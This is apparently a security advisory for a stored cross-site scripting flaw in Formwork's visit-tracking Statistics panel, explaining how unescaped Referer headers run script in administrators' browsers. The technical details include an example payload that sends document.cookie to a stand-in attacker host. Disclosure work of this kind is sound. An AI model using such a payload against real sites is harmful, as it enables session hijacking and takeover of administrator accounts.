Description

Formwork through 2.3.14 contains a stored cross-site scripting vulnerability in visit tracking that records the Referer header host unescaped. Unauthenticated attackers can craft malicious Referer headers to inject markup that executes in administrator browsers when viewing the Statistics panel.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "6.1",
  "pubDate": "2026-08-29T14:16:38.067Z",
  "pubdate": "2026-08-29T14:16:38.067Z",
  "executiveSummary": "Formwork versions up to and including 2.3.14 are susceptible to a stored cross-site scripting (XSS) vulnerability located within the visit tracking module. This flaw arises from the improper handling of HTTP Referer headers, which are recorded without adequate sanitization or output encoding.\nThe vulnerability allows unauthenticated remote attackers to inject malicious HTML or JavaScript payloads into the application's visitor logs. When an administrator accesses the Statistics panel, the stored payload is rendered within the browser context, leading to unauthorized script execution.\nThe impact includes potential account takeover, session hijacking, or the unauthorized performance of administrative actions via the victim's authenticated session. Because the exploitation occurs within the administrative interface, the integrity and confidentiality of the Formwork instance are significantly compromised. No authentication is required to initiate the attack, as the payload is delivered through a standard HTTP request header during the initial visit tracking process, making this a high-risk vector for malicious actors.",
  "technicalDetails": "The vulnerability resides in the visit tracking component of Formwork, specifically where the application extracts the 'Referer' host component from incoming HTTP requests to populate the internal statistics database. The root cause is an input validation and output encoding failure: the system records the Referer header value in its raw, unescaped form. Consequently, when the Statistics panel is queried, the application renders this unsanitized data directly into the Document Object Model (DOM) of the administrator's dashboard.\nAn attacker can exploit this by crafting a malicious HTTP request directed at any publicly accessible page of the Formwork instance. By setting the 'Referer' header to a string containing crafted HTML tags or JavaScript—for example, '<script>fetch(\"https://attacker.com/log?cookie=\"+document.cookie)</script>'—the attacker forces the application to persist this payload in the underlying statistics storage mechanism.\nThe attack flow follows a structured sequence: 1) The attacker sends a spoofed HTTP GET request to the target Formwork server, substituting the 'Referer' header with a malicious payload. 2) The server-side visit tracking logic captures this header and commits the payload to the database or log file without enforcing character escaping or context-aware sanitization. 3) The administrator subsequently logs into the administrative console and navigates to the Statistics panel. 4) The application retrieves the poisoned data and injects it into the HTML document presented to the administrator. 5) The browser interprets the injected script as trusted code originating from the administrative domain, executing the payload in the context of the administrator's session.\nBecause the payload executes in the administrator's browser, the attacker gains the ability to perform any action the administrator is authorized to execute. This includes modifying system settings, exfiltrating sensitive data, or deploying further backdoors. The vulnerability affects all versions of Formwork through 2.3.14 and remains persistent until the malicious entry is removed from the statistics data store. As the attack relies on the manipulation of HTTP headers—a standard part of the protocol—the vulnerability is reachable from any network exposure where the visitor tracking functionality is active."
}